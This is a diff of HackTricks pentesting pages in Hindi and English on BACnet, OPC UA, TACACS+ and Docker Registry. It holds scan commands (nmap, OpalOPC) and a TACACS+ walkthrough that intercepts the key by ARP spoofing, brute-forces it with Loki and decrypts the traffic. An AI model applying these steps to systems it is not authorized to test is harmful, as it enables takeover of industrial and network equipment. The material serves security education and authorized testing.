* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Protocol Information
|
# प्रोटोकॉल जानकारी
|
||||||
|
|
||||||
**BACnet** एक **संचार प्रोटोकॉल** है जो बिल्डिंग ऑटोमेशन और नियंत्रण (BAC) नेटवर्क के लिए **ASHRAE**, **ANSI**, और **ISO 16484-5 मानक** प्रोटोकॉल का उपयोग करता है। यह बिल्डिंग ऑटोमेशन और नियंत्रण सिस्टम के बीच संचार को सुविधाजनक बनाता है, जिससे HVAC नियंत्रण, प्रकाश नियंत्रण, पहुंच नियंत्रण, और अग्नि पहचान प्रणालियों जैसी अनुप्रयोगों के बीच जानकारी आदान-प्रदान हो सके। BACnet सुनिश्चित करता है और संचार को सुनिश्चित करता है, चाहे वे किसी विशेष सेवाएं प्रदान करते हों।
|
**BACnet** एक **संचार प्रोटोकॉल** है जो भवन स्वचालन और नियंत्रण (BAC) नेटवर्क के लिए है, जो **ASHRAE**, **ANSI**, और **ISO 16484-5 मानक** प्रोटोकॉल का उपयोग करता है। यह भवन स्वचालन और नियंत्रण प्रणालियों के बीच संचार को सुविधाजनक बनाता है, जिससे HVAC नियंत्रण, प्रकाश नियंत्रण, पहुंच नियंत्रण, और अग्नि पहचान प्रणालियों जैसे अनुप्रयोगों को जानकारी का आदान-प्रदान करने की अनुमति मिलती है। BACnet इंटरऑपरेबिलिटी सुनिश्चित करता है और कंप्यूटरीकृत भवन स्वचालन उपकरणों को संचार करने की अनुमति देता है, चाहे वे विशेष सेवाएं प्रदान करें या नहीं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 47808
|
**डिफ़ॉल्ट पोर्ट:** 47808
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
|
47808/udp open BACNet -- Building Automation and Control NetworksEnumerate
|
||||||
```
|
```
|
||||||
# जाँच
|
# Enumeration
|
||||||
## मैन्युअल
|
|
||||||
|
## Manual
|
||||||
```bash
|
```bash
|
||||||
pip3 install BAC0
|
pip3 install BAC0
|
||||||
pip3 install netifaces
|
pip3 install netifaces
|
||||||
|
@ -49,7 +51,7 @@ print(f"Version: {readDevice[2]}")
|
||||||
```bash
|
```bash
|
||||||
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||||
```
|
```
|
||||||
यह स्क्रिप्ट एक बीएसीनेट नेटवर्क में एक विदेशी उपकरण के रूप में शामिल होने का प्रयास नहीं करता है, यह बस एक आईपी पते वाले उपकरण को सीधे बीएसीनेट अनुरोध भेजता है।
|
यह स्क्रिप्ट एक विदेशी डिवाइस के रूप में BACnet नेटवर्क में शामिल होने का प्रयास नहीं करती है, यह सीधे एक IP पते वाले डिवाइस को BACnet अनुरोध भेजती है।
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
|
@ -58,16 +60,17 @@ nmap --script bacnet-info --script-args full=yes -sU -n -sV -p 47808 <IP>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,43 +1,44 @@
|
||||||
# 4840 - पेंटेस्टिंग OPC UA
|
# 4840 - Pentesting OPC UA
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
**OPC UA**, **ओपन प्लेटफॉर्म कम्युनिकेशंस यूनिफाइड एक्सेस** के लिए खड़ा खुला स्रोत प्रोटोकॉल है, जिसे विभिन्न उद्योगों में उपयोग किया जाता है जैसे निर्माण, ऊर्जा, एयरोस्पेस, और रक्षा के लिए डेटा विनिमय और उपकरण नियंत्रण के लिए। यह विशेष रूप से विभिन्न वेंडर्स के उपकरणों को PLCs के साथ संचार करने की संभावना प्रदान करता है।
|
**OPC UA**, जिसका मतलब है **Open Platform Communications Unified Access**, विभिन्न उद्योगों जैसे निर्माण, ऊर्जा, एयरोस्पेस, और रक्षा में डेटा विनिमय और उपकरण नियंत्रण के लिए एक महत्वपूर्ण ओपन-सोर्स प्रोटोकॉल है। यह विभिन्न विक्रेताओं के उपकरणों को संवाद करने में सक्षम बनाता है, विशेष रूप से PLCs के साथ।
|
||||||
|
|
||||||
इसका विन्यास मजबूत सुरक्षा उपायों के लिए अनुमति देता है, लेकिन अक्सर, पुराने उपकरणों के साथ संगतता के लिए, ये कम किए जाते हैं, जिससे सिस्टमों को खतरों का सामना करना पड़ सकता है। इसके अतिरिक्त, OPC UA सेवाओं को खोजना मुश्किल हो सकता है क्योंकि नेटवर्क स्कैनर उन्हें अगर वे गैर मानक पोर्ट्स पर हैं तो नहीं डिटेक्ट कर सकते।
|
इसकी कॉन्फ़िगरेशन मजबूत सुरक्षा उपायों की अनुमति देती है, लेकिन अक्सर, पुराने उपकरणों के साथ संगतता के लिए, इन्हें कम किया जाता है, जिससे सिस्टम जोखिम में पड़ जाते हैं। इसके अलावा, OPC UA सेवाओं को खोजना मुश्किल हो सकता है क्योंकि नेटवर्क स्कैनर उन्हें पहचान नहीं सकते यदि वे गैर-मानक पोर्ट पर हैं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 4840
|
**डिफ़ॉल्ट पोर्ट:** 4840
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
4840/tcp open unknown syn-ack
|
4840/tcp open unknown syn-ack
|
||||||
```
|
```
|
||||||
## OPC UA का पेंटेस्टिंग
|
## Pentesting OPC UA
|
||||||
|
|
||||||
OPC UA सर्वर में सुरक्षा समस्याओं को उजागर करने के लिए, इसे [OpalOPC](https://opalopc.com/) से स्कैन करें।
|
OPC UA सर्वरों में सुरक्षा समस्याओं को उजागर करने के लिए, इसे [OpalOPC](https://opalopc.com/) के साथ स्कैन करें।
|
||||||
```bash
|
```bash
|
||||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
```
|
```
|
||||||
### वंरुणात्मकताओं का शोधन
|
### कमजोरियों का लाभ उठाना
|
||||||
|
|
||||||
यदि प्रमाणीकरण अनदर्शन वंरुणात्मकताएं मिलती हैं, तो आप एक [OPC UA क्लाइंट](https://www.prosysopc.com/products/opc-ua-browser/) को उसी प्रकार कॉन्फ़िगर कर सकते हैं और देख सकते हैं कि आप किस पर पहुंच सकते हैं। यह केवल प्रक्रिया मूल्यों को पढ़ने से लेकर वास्तव में भारी उद्योगिक उपकरणों को चलाने तक कुछ भी संभव बना सकता है।
|
यदि प्रमाणीकरण बाईपास कमजोरियाँ पाई जाती हैं, तो आप एक [OPC UA क्लाइंट](https://www.prosysopc.com/products/opc-ua-browser/) को तदनुसार कॉन्फ़िगर कर सकते हैं और देख सकते हैं कि आप क्या एक्सेस कर सकते हैं। यह केवल प्रक्रिया मानों को पढ़ने से लेकर भारी औद्योगिक उपकरणों को संचालित करने तक कुछ भी करने की अनुमति दे सकता है।
|
||||||
|
|
||||||
उस उपकरण का पता लगाने के लिए, पता लगाने के लिए "ServerStatus" नोड मूल्यों को पढ़ें और उपयोग मैनुअल के लिए गूगल करें।
|
जिस डिवाइस तक आपकी पहुँच है, उसका संकेत पाने के लिए, पते की जगह में "ServerStatus" नोड मानों को पढ़ें और उपयोग मैनुअल के लिए गूगल करें।
|
||||||
|
|
||||||
## शोदन
|
## शोडन
|
||||||
|
|
||||||
* `port:4840`
|
* `port:4840`
|
||||||
|
|
||||||
|
@ -45,16 +46,17 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||||
|
|
||||||
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs** सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,51 +1,79 @@
|
||||||
# 49 - TACACS+ पेंटेस्टिंग
|
# 49 - Pentesting TACACS+
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard सुरक्षा समूह**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## मौलिक जानकारी
|
## Basic Information
|
||||||
|
|
||||||
**टर्मिनल एक्सेस कंट्रोलर एक्सेस कंट्रोल सिस्टम (TACACS)** प्रोटोकॉल का उपयोग राउटर या नेटवर्क एक्स
|
**टर्मिनल एक्सेस कंट्रोलर एक्सेस कंट्रोल सिस्टम (TACACS)** प्रोटोकॉल का उपयोग राउटर्स या नेटवर्क एक्सेस सर्वर (NAS) तक पहुँचने की कोशिश कर रहे उपयोगकर्ताओं को केंद्रीय रूप से मान्य करने के लिए किया जाता है। इसका उन्नत संस्करण, **TACACS+**, सेवाओं को प्रमाणीकरण, प्राधिकरण, और लेखांकन (AAA) में विभाजित करता है।
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
49/tcp open tacacs
|
49/tcp open tacacs
|
||||||
```
|
```
|
||||||
**डिफ़ॉल्ट पोर्ट:** 49
|
**डिफ़ॉल्ट पोर्ट:** 49
|
||||||
|
|
||||||
## प्रमाणीकरण कुंजी को अंतर्दृष्टि से प्राप्त करें
|
## प्रमाणीकरण कुंजी को इंटरसेप्ट करना
|
||||||
|
|
||||||
यदि एक हमलावर द्वारा ग्राहक और TACACS सर्वर संचार को अंतर्दृष्टि किया जाता है, तो **एन्क्रिप्टेड प्रमाणीकरण कुंजी को अंतर्दृष्टि किया जा सकता है**। हमलावर फिर कुंजी के खिलाफ स्थानीय ब्रूट-फोर्स हमला कर सकता है बिना लॉग में पहचाने जाने के। यदि कुंजी को ब्रूट-फोर्स करने में सफल होता है, तो हमलावर नेटवर्क उपकरणों तक पहुंच प्राप्त करता है और ट्रैफिक को Wireshark जैसे उपकरणों का उपयोग करके डिक्रिप्ट कर सकता है।
|
यदि क्लाइंट और TACACS सर्वर के बीच संचार को एक हमलावर द्वारा इंटरसेप्ट किया जाता है, तो **एन्क्रिप्टेड प्रमाणीकरण कुंजी को इंटरसेप्ट किया जा सकता है**। हमलावर फिर **कुंजी के खिलाफ स्थानीय ब्रूट-फोर्स हमले का प्रयास कर सकता है बिना लॉग में पता चले**। यदि कुंजी को ब्रूट-फोर्स करने में सफल होता है, तो हमलावर नेटवर्क उपकरणों तक पहुंच प्राप्त करता है और Wireshark जैसे उपकरणों का उपयोग करके ट्रैफ़िक को डिक्रिप्ट कर सकता है।
|
||||||
|
|
||||||
### MitM हमला करना
|
### MitM हमले का प्रदर्शन करना
|
||||||
|
|
||||||
**ARP spoofing हमला का उपयोग करके एक Man-in-the-Middle (MitM) हमला किया जा सकता है**।
|
**ARP स्पूफिंग हमले का उपयोग मैन-इन-द-मिडल (MitM) हमले को करने के लिए किया जा सकता है**।
|
||||||
|
|
||||||
### कुंजी को ब्रूट-फोर्स करना
|
### कुंजी को ब्रूट-फोर्स करना
|
||||||
|
|
||||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) कुंजी को ब्रूट-फोर्स करने के लिए उपयोग किया जा सकता है:
|
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) का उपयोग कुंजी को ब्रूट-फोर्स करने के लिए किया जा सकता है:
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
### ट्रैफिक की डिक्रिप्शन
|
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **हम उपकरणों तक पहुँच प्राप्त कर सकते हैं और TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट कर सकते हैं।**
|
||||||
जब कुंजी सफलतापूर्वक क्रैक हो जाती है, तो अगला कदम है **टैकैक्स-एन्क्रिप्टेड ट्रैफिक को डिक्रिप्ट** करना। वायरशार्क एन्क्रिप्टेड टैकैक्स ट्रैफिक का सामना कर सकता है अगर कुंजी प्रदान की जाती है। डिक्रिप्टेड ट्रैफिक का विश्लेषण करके, जानकारी जैसे **उपयोग किया गया बैनर और व्यवस्थापक उपयोगकर्ता का उपयोगकर्ता नाम** प्राप्त किया जा सकता है।
|
|
||||||
|
|
||||||
प्राप्त क्रेडेंशियल का उपयोग करके नेटवर्क उपकरण के नियंत्रण पैनल तक पहुंचकर, हमलावर नेटवर्क पर नियंत्रण बिठा सकता है। यह जरूरी है कि ये कार्रवाही केवल शैक्षिक उद्देश्यों के लिए हैं और उचित अधिकृति के बिना उपयोग नहीं किया जाना चाहिए।
|
### Decrypting Traffic
|
||||||
|
Once the key is successfully cracked, the next step is to **TACACS-एन्क्रिप्टेड ट्रैफ़िक को डिक्रिप्ट करना**। Wireshark एन्क्रिप्टेड TACACS ट्रैफ़िक को संभाल सकता है यदि कुंजी प्रदान की जाए। डिक्रिप्टेड ट्रैफ़िक का विश्लेषण करके, जानकारी जैसे कि **उपयोग किए गए बैनर और व्यवस्थापक उपयोगकर्ता का उपयोगकर्ता नाम** प्राप्त किया जा सकता है।
|
||||||
|
|
||||||
|
प्राप्त क्रेडेंशियल्स का उपयोग करके नेटवर्क उपकरण के नियंत्रण पैनल तक पहुँच प्राप्त करके, हमलावर नेटवर्क पर नियंत्रण स्थापित कर सकता है। यह ध्यान रखना महत्वपूर्ण है कि ये क्रियाएँ केवल शैक्षिक उद्देश्यों के लिए हैं और इन्हें उचित प्राधिकरण के बिना उपयोग नहीं किया जाना चाहिए।
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,52 +1,47 @@
|
||||||
# 5000 - Pentesting Docker Registry
|
# 5000 - Pentesting Docker Registry
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
